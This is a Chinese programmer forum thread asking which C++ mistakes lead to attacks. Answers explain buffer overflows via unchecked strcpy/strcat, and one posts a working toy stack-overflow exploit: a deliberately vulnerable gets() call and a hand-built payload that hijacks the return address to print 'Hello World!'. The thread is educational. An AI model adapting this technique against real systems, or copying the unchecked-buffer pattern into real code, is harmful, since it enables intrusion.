首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C++ >

C++中哪些异常会引起被攻击?(例如缓冲区溢出)

2012-02-24 
C++中哪些错误会引起被攻击?(例如缓冲区溢出)!!如题[解决办法]如果程序员使用象strcpy(),strcat()类时,不

C++中哪些错误会引起被攻击?(例如缓冲区溢出)
!!如题

[解决办法]
如果程序员使用象strcpy(),strcat()类时,不进行有效位检查,函数最终可能导致恶意用户编写利用程序,来进一步打开安全豁口,然后,将该代码缀在缓冲区有效载荷末尾,这样当发生缓冲区溢出时,返回指针指向恶意代码,这样系统的控制权就会被夺取。
[解决办法]
贴一个最无聊的缓冲区溢出的例子, 新鲜出炉的 ....

bash-2.05b$ cat cTest.c; cl -nologo cTest.c ; ./cTest -g ; ./cTest < input
/**************************************************/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define CRKFN "input "

void fgen()
{
static const int shellCode[] = {
0x6c6c6548 , 0x6f57206f ,
0x21646c72 , 0x20202020 ,
0 , (int)(shellCode+6) ,
0x68909090 , (int)(shellCode+15),
0xb8909090 , (int)printf ,
0x9058d0ff ,
0xb8909090 , (int)exit ,
0xc358d0ff , 0x90909090 ,
0x6c6c6548 ,
0x6f57206f , 0x21646c72 ,
0x20202020 , 0x0000000a
};

fwrite( shellCode , 1 , sizeof shellCode , fopen( CRKFN , "wb " ) );
}
void foobar()
{
char buf[16];
printf( "%s\n " , gets( buf ) );
}

int main( int argc , char* argv[] )
{
if( argc == 2 && 0 == strcmp( argv[1] , "-g " ) )
{
fgen(0);
}
else
{
/* freopen( CRKFN , "rb " , stdin ); */
foobar();
}
return 0;
}
/**************************************************/
cTest.c
Hello World!
Hello World!
bash-2.05b$

[解决办法]
详细请看MICROSOFT PRESS的WRITE SECURE CODE很好的关于这个的东西,缓存区溢出是歌很普遍而且常见的攻击手段,方法很多
[解决办法]
可能性太多了。
缓冲区溢出,整数溢出,负数溢出……

热点排行